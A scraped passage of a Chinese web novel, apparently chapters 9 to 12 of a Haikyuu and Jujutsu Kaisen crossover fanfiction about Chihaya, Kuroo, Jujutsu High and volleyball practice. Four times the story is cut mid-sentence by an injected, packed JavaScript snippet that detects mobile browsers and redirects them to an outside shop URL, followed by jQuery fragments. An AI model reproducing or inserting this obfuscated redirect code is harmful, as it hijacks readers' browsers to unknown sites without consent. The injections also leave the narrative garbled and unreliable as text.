“抱歉,我不知道你在外面。” 黑尾站在原地缓了几秒才直起身,手放下来露出被撞红的一小片皮肤。 “好了好了,我没事,也是我没注意。”他一低头,看到千早伸过来想要搀扶自己的手,嘴角抽动几下摆摆手示意自己没事,“我只是被你家的大门撞了一下头。” 他说完突然意识到什么,将千早的衣着上下打量了一番,“你要出门?” 千早牵住黑尾的手腕将他拉进自己家里,随口应道:“嗯,不过不着急,我下午再去也来得及。” 两人身后,大门“嘭”地一声轻轻关上。 千早拉着黑尾一直走到餐厅。 她单手拉开一把椅子,将黑尾按在椅子上,自己转身先去洗手间拿了一条毛巾出来。 黑尾看着她忙前忙后的,将手里的拎着的东西放到餐桌上,站起身,“只是磕了一下,你也太……” 正在冰箱里拿冰块的千早猛地回头瞪向他。 黑尾:“……” 虽然她的眼睛被遮住了,但是黑尾却能明确感觉那道有些凶的视线,他咽下刚刚想说的后半句话,乖乖坐了回去。 千早将冰箱里数量不多的冰块全部用毛巾包起来,轻轻将其放在黑尾刚刚被撞的有些发红的额头上。 她表情严肃,“待会儿去医院检查一下吧,万一脑震荡就糟糕了。” 黑尾笑道:“太夸张了……如果出现了相关症状我会去的,放心吧。” 两人一站一坐,靠的极近。 黑尾鼻尖动了动,闻到一股柠檬的清新味。 他当然知道这气味,他时常从千早身上闻到,但今天的远比以往的更浓烈。 浓烈到几乎将他整个人笼罩其中。 黑尾想要说些什么,却突然看到千早还有些湿的发尾。 他不动声色地收回视线看向地板。 黑尾轻咳一声清了下嗓子,用长辈一样的口吻道:“你又不把头发吹干就出门,很容易头疼的。” 千早举着冷敷袋专心帮黑尾冰敷,注意力全在这上面,丝毫没察觉到他的异样,“没事,我不会生病。” “我比小黑还要结实。” 先不论这句话的真假。 黑尾:“……后半句话倒也不用特意说出来吧。” “是事实啊。” 如果不是因为一只手正忙着,千早都想撸开袖子,给他展示一下自己的肱二头肌。 虽然不像小黑那么大,但是女性本来就没有男性容易练出肌肉。 然后两人便都沉默下来。 最近这段时间经常会这样,有研磨在的时候还好,如果只有千早和黑尾两个人的话,单独相处的时候偶尔就会出现这种莫名其妙的沉默。 黑尾隐隐约约地察觉到了这种变化,并且是从那一次莫名其妙被千早避开之后开始的。 虽然那之后没过几天千早就‘恢复’了原状,仿佛什么都没有发生。 哪怕是和好后,黑尾问她那段时间避开自己的理由也不会得到正面回答,都会被她避开。 而且两个人独处的时候,偶尔会出现像现在这样比较微妙的氛围。 黑尾正想找下话题,突然看到放在餐桌上的东西,终于想起自己是来做什么的。 他抬眼看向精神集中的千早,“对了,你吃饭了吗?” 千早下意识地看向黑尾的眼睛,在对上他的视线时又有些心虚地移开,没有说话。 千早这幅拒绝回答的样子,黑尾还有什么不懂的。 他顿时了然道:“你又吃预制菜和便当了?” 千早表示自己有保持沉默的权利,依旧沉默不回答。 黑尾叹了口气,抬起手臂伸向自己放在餐桌上的东西。 千早顺着他的动作看了过去,终于发现了这东西,一个小布包。 里面鼓鼓的,显然装了东西。 “这是什么?”千早自然而然地发问。 黑尾解开布包,将里面的东西取出来。 一个保温饭盒。 很难看不出来那里面装的是什么。 千早帮黑尾冰敷的动作顿了顿,“难道是小黑做的?” 黑尾表情郑重地看向她,就在千早以为对方要说这是自己千辛万苦才做出来的菜时。 黑尾表情突然改变,双眼一眯像只恶作剧得逞了的猫坏笑道:“不,我爸做的。” 千早:“……” 如果不是因为他现在脑袋‘受伤’,她一定要轻轻给他一下子。 千早拿起手上的冰敷袋看了一眼伤势。 嗯,已经不红了。 她用另一只手在上面轻轻按了下问道:“疼吗?” 黑尾摇头,“只是撞了一下,是你太夸张了。” 千早看到他摇头,松了一口气。 黑尾保持着坐着的姿势不变,将旁边的椅子拉开,“你也坐下吧。” 千早有些疑惑,但还是绕到黑尾的另一边坐到椅子上,然后好奇地看向黑尾。 黑尾将保温盒打开,推到千早面前。 一股食物的香气扑面而来。 千早:“我刚刚吃过早饭了哦。” 黑尾扫了一眼旁边的垃圾桶里装的垃圾毫不留情地道:“预制菜不算早饭,而且你也只吃了一点面不是么?” 千早无法反驳。 当然,她无法反驳的只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17479947|201678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是后半句话。 小黑的家庭是四人组成的。 小黑、爸爸、爷爷和奶奶。 平时是爷爷奶奶做家务比较多,但休息日的时候就轮到小黑和小黑爸爸做家务了。 黑尾没给千早拒绝的机会,起身动作熟练地找到橱柜,从里面拿出一双筷子,转身递向千早。 千早看了他好半晌,发现他大有一副自己不拿筷子他就不动的架势只能伸手接过黑尾手里的筷子。 “我开动了。” 作为肉食系,千早用筷子夹起的第一口就是肉。 菜的温度正好适口,并不特别热,口中的肉软烂多汁。 确实是刚才那盘预支的面无法相比的。 千早在餐桌前大快朵颐,黑尾也没有闲着。 他走到冰箱前,打开冰箱门,千早注意到他的动作时已经来不及阻止。 “等……” 黑尾看着装满冰箱的东西并不怎么意外地挑起眉毛,侧过身面向千早指了指冰箱,意有所指地道: “你是把超市里装预制菜的冰箱搬了回来吗?” 千早一时语塞,不知如何反驳。 黑尾蹲下身拉开冰箱最下面的抽屉,“居然买了水果,倒是有点进步。”他关上抽屉,站起身动作没有片刻停顿打开上面的冷冻。 “嗯,上面也是塞满了速冻食品。” 黑尾回到餐桌前,没有坐到刚才坐位,而是坐在了千早的对面。 “你是去进货,打算在家里开个小超市吗?” 千早:“……” 她咀嚼着口中美味的食物,根本不打算开口回答。 “味道怎么样?” “……好吃。” 得到回答,黑尾没再说什么,安静地看着千早吃饭。 他没有问千早出门是要去做什么,但心里有个大致猜测。千早是个不爱出门的,能休息的时间大多待在家里。 今天打算出门多半也跟她那保密的打工有关。 …… 千早吃完后,拿着饭盒起身准备去水槽里将其刷干净再还给黑尾。 黑尾动作流畅地直接从她手中接过饭盒,转身将它放进水槽里撸起袖子开始刷。 “……小黑,好像爸爸一样。” 黑尾满头黑线:“至少说是哥哥吧,哪儿有我这么年轻的父亲啊?” 千早撇了撇嘴。她才不想让小黑当自己的哥哥。 而且,她姑且也算是有兄长的。 虽然是没见过几面的同父异母的兄长,至少有两个呢。 黑尾刷完保温盒,摘下胶皮手套。 “走吧。” 千早道:“去哪儿?” 黑尾转过身看着她,“你不是要出门吗?” ……她差点忘了。 千早转身刚要走向玄关的位置,突然感觉到头发上传来异样的感觉,回头一看发现自己一缕长发的发尾正落在黑尾掌间。 黑尾用手指摩挲了一下墨蓝色的发尾,“嗯,这次是真的干了。” 他松开手,越过千早走向玄关。 “我送你去车站。” 留下千早一个人站在原地,盯着那一缕刚刚被黑尾摸过的头发沉默不语。 最后她悄悄地将那一缕发丝绕在指尖上摸了摸刚才黑尾摸过的位置。 “你落东西了?” 餐厅外玄关方向传来黑尾的声音。 千早一惊,连忙松开手,让那一缕发丝落回它原本的位置。 “来了!” 黑尾换上鞋等千早弄完后,打开门一起走了出去。 “不过你还真是喜欢黑色。”黑尾自然而然地走在千早的左侧,“让我想起某所高中了。” 千早略一沉思就知道他说的是哪所学校。 跟她们如今就读的音驹高中有着长久渊源的高中。 乌野高中。 就像音驹会被称为猫一样,乌野也被称为乌鸦。 最近几年两所高中已经很少有来往了,千早会记得这所学校,是因为小时候的猫又教练,这位猫又教练曾经担任音驹排球部的教练,但年事已高,早已从音驹高中卸任。 不过她听小黑他们说,这两年猫又教练可能会回来担任总教练。 “又不是只有乌鸦是黑色的。” 黑尾偏头看向她,“嗯?” “……黑猫也是黑色的。” 10. 第 10 章 黑尾将千早送到车站,没过多久巴士开了过来,黑尾目送千早上了车朝她挥挥手。 等到巴士启动后才转身准备离开,他手还没有放下,一转身再次闻到一股柠檬香。 应该是刚才他摸千早发尾时留下的。 但与刚才千早就在自己身旁时不同,现在气味已经很淡,淡到黑尾甚至有点怀疑是自己闻错了。 千早乘上公交车后坐到了最后面的靠窗位置,她透过车窗看着黑尾的身影越来越小,直到消最后失不见。 这才收回目光。 公交行驶过几站,千早下了车。 并不是因为已经抵达高专,而是因为她要转车。 千早站在车站牌前等车,期间因为太过无聊还翻出手机玩了会儿。 这时她突然察觉到有一辆车缓缓地停在自己面前。 公交车站不让停车。 千早抬起头,刚想说什么定睛一看发现这车很是眼熟。 坐过这辆车好多次的那种眼熟。 车窗缓缓降下,从里面露出了伊地知的脸。 “朝比奈同学。”伊地知看了眼千早身上穿着的制服问道:“你现在要去高专吗?” 千早愣了一下,下意识地把手机收了起来。 她没想到这么巧,居然会在这里碰到伊地知。 “……伊地知先生。” 伊地知眼下挂着淡淡泛着青色的黑眼圈,跟以往没有任何区别,他露出一个浅浅的微笑。 “正好我们也要回高专,不如上车吧?” 千早看向轿车后座的位置,挑起眉尾。 “那就麻烦您了。” 她拉开后座,看向坐在里面的另一个人。 金色的短发梳成背头,露出轮廓分明的侧脸,男人偏头朝向这边,露出那副样式有些奇怪的护目镜。 “……好久不见,七海先生。” 千早弯腰坐进车内,关上车门。 七海建人。 五条悟的后辈,千早曾跟他有过几面之缘,但相处不多,只知道对方是一位非常可靠的咒术师。 七海朝她点头致意,声音低沉而平稳:“好久不见,朝比奈同学。” 打完招呼,车内一时之间陷入沉默。 不管是千早还是七海都是比较话少的人,尤其是对着不太熟悉的人。 伊地知透过后视镜看了两人好几眼,像是终于忍耐不住这种安静般开口道:“对、对了,朝比奈同学你去高专是有什么事情吗?” 千早道:“听五条先生说前几天一年级来了个转学生,我想着至少也要打声招呼。” 车内再次安静下来。 千早察觉到有些不对劲问道:“那名转学生有什么问题吗?” 伊地知有些不知道该怎么解释那名转学生的情况,“嗯、这个……要说有什么问题的话确实。” 他这种奇怪的态度让千早有些好奇。 七海拯救了不知道该怎么说明伊地知,“你见到后应该就知道了。” 连一向沉稳成熟的七海都这么说,千早更加好奇了。 - 轿车抵达高专。 千早先一步下车,“那我就先走了,七海先生、伊地知先生下次见。” 她弯腰朝车窗内摆摆手,这才转身离开。 高专内虽然很大,但千早来过好几次不至于迷路,不需要人带路。 她想了想该去哪里找人。 应该不在教室里吧,再怎么说也是周末。 千早晃晃悠悠地走到操场,看到一只熊猫站在跑道边正在给跑步的三人助威加油。 嗯? 等一下,好像有哪里不对劲。 熊猫、真希、狗卷……还有剩下的那个人就是转校生了吧? 千早眯起眼睛,有些不太确定地再次看向几人中唯一的生面孔。 虽然看起来只是个很瘦弱的少年,但是—— 那个少年为什么比起咒术师,看上去更像是被诅咒了的样子? 不对,如果是被诅咒了的话怎么会出现在高专内。难道是她看错了?判断错误? 千早走过去,站到熊猫旁边。 熊猫,‘人’如其名就是一只熊猫,并不是里面有人的那种玩偶服,而是货真价实的熊猫玩偶。 虽然说体积大了点。 “哟,好久不见。”熊猫抬手朝站到自己身边的千早打了声招呼。 千早道:“好久不见。” 说完她看向跑道上唯一的生面问道:“他就是传闻中的转学生?” 熊猫道:“对哦,名字是乙骨忧太。” 千早歪着脑袋,语气中带着几分不确定,“……嗯、式神使?” 熊猫似乎猜到她为什么会这么说,“不,就是你看到的那样。” “诶、真的假的?为什么被诅咒的人会出现在高专,还成为转学生啊。” 熊猫朝还在跑的几人挥了挥爪子,示意他们先别跑了过来这边集合。 “多亏了悟,原本高层是打算将忧太处以死刑的。”熊猫给千早简单讲解了一下事情的经过。 比如高专早就注意到乙骨忧太的存在了。 千早撇嘴无声地笑了下没说话。 高层就是这样,真不知道该说他们凡事以大局为重还是…… 胆小 熊猫看着跑向这边的几人小声地跟千早说悄悄话:“不过忧太虽然有点软弱,但并不是坏人,跟他好好相处吧。” 等那张生面孔走近,千早一看才发现。 这位新同学眼下的黑眼圈简直快要比伊地知先生还要严重。 而且,果然离近一看就会发现。 这位新同学还真是被一个很厉害的诅咒缠上了啊,这种压迫感,在特级咒灵之中也很少见了。 真希走近后朝千早道:“真少见啊,你居然会来高专。” 狗卷友好地举起手,“昆布。” 千早朝狗卷颔首“昆布”了一声打过招呼后回答了真希的问题,“我听说有转学生来,所以才想着来露下脸。” 千早看向最后一个走过来的少年。 除了被很强大的诅咒缠上了以外,千早对这名名为乙骨忧太的转学生的第一印象。 大概可以说是瘦弱吧。 毕竟他喘得真的很厉害,而且双腿都在微微打颤。 不过让前几天还是普通人的人跟着咒术师一起训练体力确实有点强人所难。 等乙骨的呼吸平缓下来后,他抬起头有些不好意思地朝着千早露出了友好的微笑。 熊猫充当介绍人一样举手示意所有人看向它这边,然后两只爪子抬起指向千早的方向,“忧太,这个人是朝比奈千早,跟我们一样都是咒术师哦。” 乙骨因为没有见过她,以为是高一年级的前辈有些不自在地道:“初……初次见面,朝比奈前辈?” 千早摇头解释道:“叫我朝比奈或者千早就可以了,还有我不是前辈。” 乙骨有些不解,“诶?” 熊猫继续充当介绍人,“她跟我们同龄哦,不过因为某种原因并不在高专就读,而是跟普通人一样在外面的高中上学。” 乙骨闻言微微一愣,有些不解:“咒术师可以在外面上普通高中?” 千早耸了下肩,语气轻松道:“没有硬性规定要求咒术师只能来高专,总之你就把我当成常年缺席的同期生就可以了。” 常年缺席…… 乙骨表示有些不理解,但尊重。 “不过乙骨你身边的这个诅咒还真是……很强啊。怎么遇上的啊?”千早感受着乙骨身上那股强大的咒灵气息不禁有些好奇。 乙骨看起来实在是一个很安静老实,不像是能够招惹上这种存在的人。 说到这个话题,乙骨有些低落,连头都垂了下去。 “里香她是……我的幼驯染。” “咳咳咳……”听到这个十分意外的回答,惊得千早不由得咳出声,“咳、诶?跟咒灵是幼驯染?” “木鱼花。”狗卷表示了否定。 千早稍稍瞪大了眼睛,“难道是人类?” “祈本里香,是目前已登录的特级过咒怨灵哦。” 众人身后传来五条悟帮忙解释的声音。 千早了然点头。 也就是说原本是人类,但如今却变成了咒灵,而且还是特级咒灵。 “怎么样,看出来什么了?”五条悟走到千早身后站定。 千早摸了摸下巴摇头道:“不,除了咒力量很庞大以外什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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跟几位同期道别后,千早刚想跟着五条离开操场,就听到身后真希喊她的声音。 “怎么了?” 千早回头看向站在原地的真希。 真希叹了口气,语气难得地有些微妙道:“过段时间就是交流会了,二三年级人不够,一年级也要参加。” “你要来么?” 千早几乎是想都没想就直接拒绝了,“不,我就不参加了。” 真希并不意外听到这个答案,语气轻松道:“是么,那下次见。” 交流会…… 千早很清楚为什么真希会特意问她这个问题。 不过无论如何,她确实不打算参加。 千早回过身,加快脚步跟上前面已经走出去很远的五条悟。 “你很在意忧太的事情吗?” 刚走到五条身边,千早就听到了对方的问题。 千早犹豫了一下,最后没有掩饰,“嗯,有点。” 五条悟像是已经有了答案一般继续随口问道:“为什么?” “……”千早的声音顿了顿才答,“就像是你说的那样,因为我也有幼驯染。” “不过,他、乙骨为什么会被祈本里香诅咒?他们两个不是幼驯染吗?”关于这一点,千早始终有些想不通,但是她又不好在乙骨的面前问这种问题。 所以只能等到现在才问。 五条悟沉思了一下,想起之前在医院时他跟乙骨谈过的话题,“还有另外一种可能。” “另外一种可能?”千早不解。 “对,另外一种可能就是并非是祈本里香诅咒了忧太,而是忧太诅咒了祈本里香。” 这个回答让千早下意识皱起了眉头。 她知道这并非完全不可能的事情,但是没有任何理由啊,千早想不通。 “为什么?” 五条悟:“唔……因为爱情?” 千早:“……” “请你认真一点。”千早无奈地瞪了五条悟一眼。 “老师我一直都很认真的哦,一直是个关心学生的好老师!是学生们最好的老师。”五条悟停下脚步装出一副认真的表情,低头凑近千早,“说起来,上次说的那个奇怪的症状最近怎么样了,就是那个想吃幼驯染症状。” 明明他的表情看起来很认真,但声音中夹杂着的雀跃的语气是骗不了人的。 “……五条先生,”千早叫出五条的名字后停顿了几秒,深吸一口气才终于下定决心问道:“你知道什么是恋爱吗?” “诶?” 你也来? 11. 第 11 章 黑色轿车速度极快地行驶在马路上。 一栋栋建筑从车窗外飞快略过,但车上仅有的两个人都没有去关注外面的景色如何。 “哈——”千早靠在车窗边上,眼睛轻轻闭着打了个哈欠。 坐在前面驾驶位上的辅助监督听到声音,没有回头小声询问道:“果然还是送你回家休息比较好吧?” 千早半睁开双眼抬手揉了下,“过几天关东大会就要开始了,我没关系的新田小姐。” 今天陪千早外出执行任务的辅助监督是新田明,刚从京都高专毕业没多久,还是个新人。 “关东大会?”新田带着疑问的语气重复了一下,突然想起:“啊、我记得伊地知前辈有说过,朝比奈同学会去排球部帮忙。” “嗯,我朋友是排球部的成员,我自己也……挺喜欢排球的,不过是喜欢看的那一方。” 新田看向后视镜,上面映照出坐在后排脸上带着些许倦意的少年。 她双手紧握方向盘,语气里还带着点刚出社会的稚嫩“排球部啊,有点怀念呢。” 千早闻言有些意外地抬起头,“新田小姐初中的时候参加的社团是排球部?” “那倒也不是,但是我参加的也是运动类的社团。”新田说着想起初中时的经历有些怀念,如今她已不是学生而是一位社会人士了,“不过社团活动什么的,真是青春啊,我们当时社团结束后还会朝着夕阳奔跑呢。” 千早:“?” 那是什么社团?长跑吗? - 新田在音驹旁边的便利店门口踩下刹车,“到了哦。”她后头看向正双眼紧闭,不知是不是已经睡着了的千早,刚想着要不要干脆把她送回家。 千早缓缓睁开双眼,眼中并没有多少刚睡醒的迷离感。 看来只是假寐了一下。 千早早在刚上车的时候就已经穿上了音驹的运动服,并不需要临时换衣服。 “谢谢你,新田小姐。”千早睁开眼睛缓了缓神,向前排的新田道谢后拉开车门。 “那么下次见。” 她拎起背包背在一边肩膀上,关上车门,站在原地目送轿车离开。 千早刚想转身直接朝校门走去,却在目光触及到就在旁边的便利店时停住脚步。 现在是中午,部员们肯定会自己想办法解决午饭。 但是带点能量棒或者甜食之类的,也能在下午的时候帮他们缓解些许疲劳吧。 这么想着,千早直接拐进旁边的便利店。 “欢迎光临——” 她走进便利店的同时,店里异口同声响起两道迎客声。 千早拎起放在便利店门口的小筐子,直接走向放着零食的区域,看着面前摆着各式各样零食的货架,千早有些挑花了眼。 巧克力、硬糖、软糖、棉花糖…… 她眨巴眨巴眼睛,先去旁边的货架拿了十几根能量棒。 然后再次停在零食的货架前。 千早盯着面前款式丰富的各式各样的零食,最终—— 她不管三七二十一地将货架上的零食拿了个七七八八,将便利店提供的小购物篮装得快要溢出来。 反正这些零食短时间内也不会过期……不如一次性多买一点,然后让小黑他们将吃剩下的收起来留着以后吃。 有些囤物癖的千早想好后,拎着满满的购物篮走到前台。 前台没有任何人在,两个店员都在整理商品。 千早将购物篮放在收银台上,朝离自己最近的店员喊了一声。“麻烦结账。” 背对着千早的店员听到声音,马上转身朝收银台走来。 不知道是不是千早的错觉,对方在看到购物篮里装满的东西时,脚步似乎顿了顿。 然后她看着这名店员扭头朝另一个方向喊道:“须藤,你过来帮下忙。” 啊,这应该是在叫另一名店员过来帮她装东西。 “好的!” 回应的声音意外地好听。 千早稍稍偏过头,看向声音传来的地方。 一名穿着便利店制服的男生从货架后走出来,身高很高,大概在一米八以上。 千早没有太在意,收回目光。 听到店长喊自己的时候须藤还感到有些奇怪,等他看到那几乎堆成小山一样的购物篮时才理解了原因。 再一看站在收银台前的女生。 他有点印象…… 之前有一次,原本应该上早班的店员因为生病请了假,店长紧急联系了他,愿意支付高额时薪让他过去帮一次忙,为了高额时薪须藤便答应了来顶一次班。 也就是那一天的早上六点多,他在店里见到了这个女生。 因为跟他同校却没有穿校服而是穿着运动服,又来得那么早所以留下的印象很深。 而这一次,对方又一次性买了这么多零食…… 千早早就察觉到落在自己身上的视线,只不过对方视线中没有包含恶意她便没有太在意。 ……但是,是不是看得有点太久了? 她抬头看向视线来源,是那名被叫做什么藤的店员,刚要开口询问。 “小姑娘,今天可是周日你是来参加社团活动的吗?” 不知道为何,外表看起来年龄稍大一些的那名店员突然朝她开口搭话。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17479949|201678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 千早有些不解,但还是答道:“是的。” “真认真啊,什么部?” “排球部。” 这一回答,盯着她看的店员从一名变成了两名。 ……这便利店怎么回事? “排球部啊……我以前也是排球部的部员呢。”那名年长的店员双眼亮晶晶地说道,像是看到了自己的后辈一般,“你是女子排球部吗?” 刚刚的新田小姐也好,这位店员也好,怎么曾经是运动类社团的人都赶在同一天出现了? “不是,我是去男子排球部。” 哪知道这句话说完,店员原本就有些发光的眼睛变得更亮了,“你是难道是经理吗?太幸运了吧这几届的学生,大叔我当年参加排球部的时候队里可没有经理啊!” 严格来讲其实并不是经理。 但千早有些懒得解释只点头应道:“这样啊真的很巧。” 结账的时候千早看到收银台旁边的柜子上放着一串香蕉,拿起来放在收银台上一起买了。 许是因为觉得自己是排球部的前辈,找完零钱后店员递给了千早一份炸鸡。 千早并没有接过,“我并没有点……” “是叔叔我送你的啦,没事我是店长我说的算!毕竟是排球部的后辈,怎么能不照顾一下呢。” 最后千早只能在道谢过后,将装满零食的塑料袋放进自己背着的包里,手里拿着那份作为礼物的炸鸡离开了便利店。 炸鸡的温度刚刚好,外脆里嫩。 在抵达学校前,千早就已经将炸鸡吃完,她找了个垃圾桶将装炸鸡的纸袋扔了进去,然后走进学校。 还没走近体育馆,千早就听到了里面传来的排球被拍打落地的声响。 “嘭。” “嘭。” 千早在门口换好鞋,拉开体育馆的大门。 “中午好。” 因为是中午,体育馆内没有开灯,午时的阳光从高处的窗户斜照进来。 大多部员都在练习发球或者接球,只有几名一年的部员在负责帮高年级捡球。 千早扫视一圈,发现黑尾正跟教练站在一起不知道在说些什么。 而研磨—— “我以为你今天不来了。”研磨的声音自千早的身后响起。 千早转身看向他,“我早上不是给你和小黑说了中午或者下午会过来吗?” 研磨没有马上说话,定睛看了她一会儿才道:“你背包里装了什么?” 千早放下背包,弯腰拉开拉链露出里面装的东西。 研磨看到被零食塞得快要爆炸的背包一时语塞,“……你是去便利店抢劫了吗?” 12. 第 12 章 “刚刚听到研磨说你去便利店抢劫了我原本还不信……这满满的一包零食是你新买来打算装满柜子的备用粮吗?”黑尾从教练那边走过来,目光触及到装满了一整个背包的零食后露出有些微妙的表情。 显然他刚刚虽然在跟教练谈话,但仍然有一部分注意力放到了这边,听到了她与研磨的对话。 “放心吧小黑,如果我买零食当备用粮的话。”千早半蹲在地上,若无其事地将背包拉链开到最大,然后将里面一大袋子的零食拎出来放到地上,“我会尽量不让你看到的。” “不是。”黑尾愣了一瞬,随即指着千早大声道:“这个时候应该说‘不会买的’吧!” 千早歪歪头,装作没听见。 “所以你为什么买这么多零食……”研磨蹲到千早旁边,零食袋里摸索了一下拿出一串香蕉聚举到眼前,“……吃的带过来?” “小黑不是说过,累了的时候应该补充点糖分。”千早将空荡荡的背包重新挂回肩上,单手拎起那一袋分量不轻的零食,“这是给排球部的大家买的。” “当然不是让大家一口气全部吃完,但是这个就只能靠你们自己互相监督了。” 大多一、二年级的部员听到这边的声音,纷纷停下手中的训练看过来,在看到千早拎着的那大袋子零食后反应各不相同,但也都围了过来。 只有三年级的几个部员像什么都没听到一般,最多只是盯着这边看一会儿就移开视线干自己的事情去了。 “这一堆是什么?”山本走到黑尾旁边盯着那一堆零食询问道。 他当然知道这是零食,问出这个问题只是想知道为什么要把这么一堆零食带来排球部。 “买了很多啊,这要花不少钱吧。”夜久粗略估算了一下里面零食的价格。 黑尾转头看向一脸平静的千早伸出手,“小票呢?” 千早盯着那只手看了一会儿,十分自然地移开视线,“我没要。” 闻言在场众人齐刷刷地扭头看向她。 夜久目瞪口呆片刻后,扭头朝着黑尾询问:“是谁啊,让这孩子去买零食的?” 海信行想了想问道:“这应该是在附近的便利店买的吧,训练结束后去店里问问价格吧。总不能让这孩子一个人承担这么高的费用。” 就连不知道何时走过来的直井教练都不赞同道:“这笔钱就从部费里出吧,不然平时也应该备一些这种补充糖分的零食,多亏你考虑了这么多朝比奈。” 事情就这样被几人三言两语定了下来。 教练将里面的零食取出一小部分,剩下的大部分都被他放在一旁,训练结束后他再收起来。 当然,在进行过刻苦训练后最需要的还是回到家中好好吃一顿正餐,但是这些也能在练习空余的时候稍微补充一点糖分。 黑尾抬手按住旁边千早的脑袋,在上面轻轻拍了几下,“你这乱花钱的习惯还是应该稍微改一改,不是说你不能花钱,但最好还是花在自己身上。” 力道不重,但千早莫名感觉对方像是在拍西瓜。 千早偏了偏头,但没有避开,“我又不是每天这么买,而且——”她抬手朝黑尾比了个‘ok’的手势,嘴角微微扬起:“我的工资很高的。” 想到千早那份完全没有时间规律可言的神迷打工,黑尾觉得工资高可能是那份工作唯一的优点。 他无奈收回手,“那你就多买一点有营养的便当,不是有卖那种营养餐的店吗?总比你一直吃便利店或者预制菜好多了。” 千早垂眸,目光落在他收回的那只手上。 指甲修剪得很是整齐,干干净净,手背上的青筋若隐若现。 这是一双很漂亮的手,能够看出主人平时有在认真保养。 她下意识看向自己的手心。 虽然她跟小黑的手心都有茧,却是完全不同的。 她的这双手,是一双握过无数次咒具的手,上面的茧是她与咒灵搏斗或者训练时留下的痕迹。 黑尾见她低头看着手心半天不说话,觉得有些不对劲:“怎么了,手有什么不对劲的地方吗?” 千早摇了摇头,放下手,声音冷淡,“什么都没有,只是在想小黑的手果然很大。” 黑尾愣了一下,随即举起手,五指张开在她面前晃了晃,“那不是当然的么,我好歹也比你高了这么多,你看差了一大截。” “啧。” 这声音虽小,但站在她旁边的黑尾还是清清楚楚听到了。 他愣神片刻挑起眉梢,“……你刚才咂舌了吧。” 千早面不改色地矢口否认,“没有,应该是你听错了吧。” 黑尾想要为自己寻找证人,左右看了看发现这边除了他们两人以外没有其他人在。 其他人早就已经离开,就连研磨都不知道跑去了哪里。 他只得再次道:“不,我没有听错,你绝对咂舌了。” 千早假装没听到,跑向教练的方向,从他手里拿过本子,开始为那些还在训练的部员记录数据。 发球、接球、扣球,这些都与比赛时场上的局势和比分关联。 记录并分析相关数据,也是她平时在排球部的工作之一。 被‘无视’的黑尾没有拦住跑远的千早,看着她跑远的背影,只能挪到夜久身边开始诉苦。 - 夕阳西斜,阳光斜照进体育馆内。 训练已经全部结束,部员们三三两两收拾场馆。 千早拿着拖把正在拖地,不经意间一撇头,正好看到一只螳螂在地上爬。 她眨眨眼睛,轻轻用拖把将其抬起来,举着拖把走到门口,将它扔出体育馆。 偶尔会有虫子从外面爬进来,这是常有的事情。 也幸好她不怕虫子。 不过这让她想起昨天在高专发生的事情了。 昨天五条先生在听完她说的话之后,再次将她带到了家入硝子面前。 只不过这一次,他还叫来了另外一个人。 那就是咒术高专唯一一位有感情经验的成年人。 夜蛾正道校长。 虽然早就已经离婚了。 但即便如此,也比其他人强,至少他结过婚算是有感情经验的人。五条倒是还想叫来更多人,比如七海比如伊地知之类的。 但是都被家入以“这不是在聚餐”为由干脆地拒绝了。 对于这位校长,千早并不是很熟悉,只知道对方某种意义上来说算是熊猫的父亲。 阴暗潮湿的办公室里,千早被几个成年人围在正中间。 “恋爱感情和食欲吗?”家入饶有兴趣地开口道:“虽然本质上并不相同,但这让我想到了性食同类。” 性食同类。 千早一脑袋问号地看向说出这个名词的家入。 五条冒出来,兴致勃勃地道:“我来解释吧。” “性食同类,就是指雌性动物在交、配的时候或者事后将雄性配偶吞食,不过这种现象普遍出现在昆虫之中。” 千早有些惊讶地看着五条,“……没想到五条先生居然会知道这种知识。” 五条语气骄傲:“因为我的理科成绩很好啊。” ……这两者之间的关联在?高专的理科好像不会教这种知识吧。 不过…… “我们连交往都没有,更何况我们还是未成年啊!”说到这种话题,千早这个未成年不由自主地提高了音量。 这些成年人到底在说什么啊? 家入冷静到仿佛刚才这个词不是从她嘴里说出来的一样:“嗯,所以我说本质不同。” 千早莫名其妙松了一口气。 “不过,我的观点还是没有变。”家入坐到椅子上,放松地靠着椅背手指指向千早,“这应该跟你的术式有着关联。” 千早的术式名为「吞食」。 具体效果很好理解,将他人或者咒灵的咒力吞食,使对方的咒力成为自己变强的养分。 简单来讲就是,吃的咒力越多就越强。 “食欲是人类的本能, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17479950|201678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但随着时代的进步,很多时候进食这个行为已经不仅仅是为了填饱肚子。”家入慢慢解释道。 